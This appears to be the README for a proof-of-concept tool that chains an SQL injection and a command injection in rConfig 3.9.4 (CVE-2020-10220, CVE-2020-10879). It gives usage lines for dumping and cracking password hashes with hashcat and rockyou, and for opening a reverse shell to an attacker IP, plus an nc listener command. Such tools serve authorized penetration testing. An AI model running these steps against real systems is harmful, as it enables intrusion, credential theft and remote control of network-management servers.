
Combined PoCs for rConfig: SQL Injection (CVE-2020-10220) & Command Injection (CVE-2020-10879)
This PoC targets rConfig version 3.9.4 and demonstrates exploitation through a combination of SQL Injection and Remote Command Injection vulnerabilities. It automates the process of:
rockyou wordlist and best64.rulesThis script is based on and combines two original PoCs:
It was modified in order to automate cracking and optional shell spawning.
requests library (pip install requests)hashcat installed and accessible via command linerockyou.txt wordlist (or equivalent) located at /usr/share/wordlists/rockyou.txt/usr/share/hashcat/rules/best64.ruleTo dump users and hashes only:
python3 rConfig_rce.py https://target
To dump users, crack passwords, and attempt RCE (requires attacker IP and port for reverse shell):
python3 rConfig_rce.py https://target attacker_ip attacker_port
admin account for the command injection phase.nc -lvnp 80) running on your attacker machine to catch the reverse shell.This tool is intended for authorized security testing and educational purposes only. Unauthorized use against systems without permission is illegal and unethical.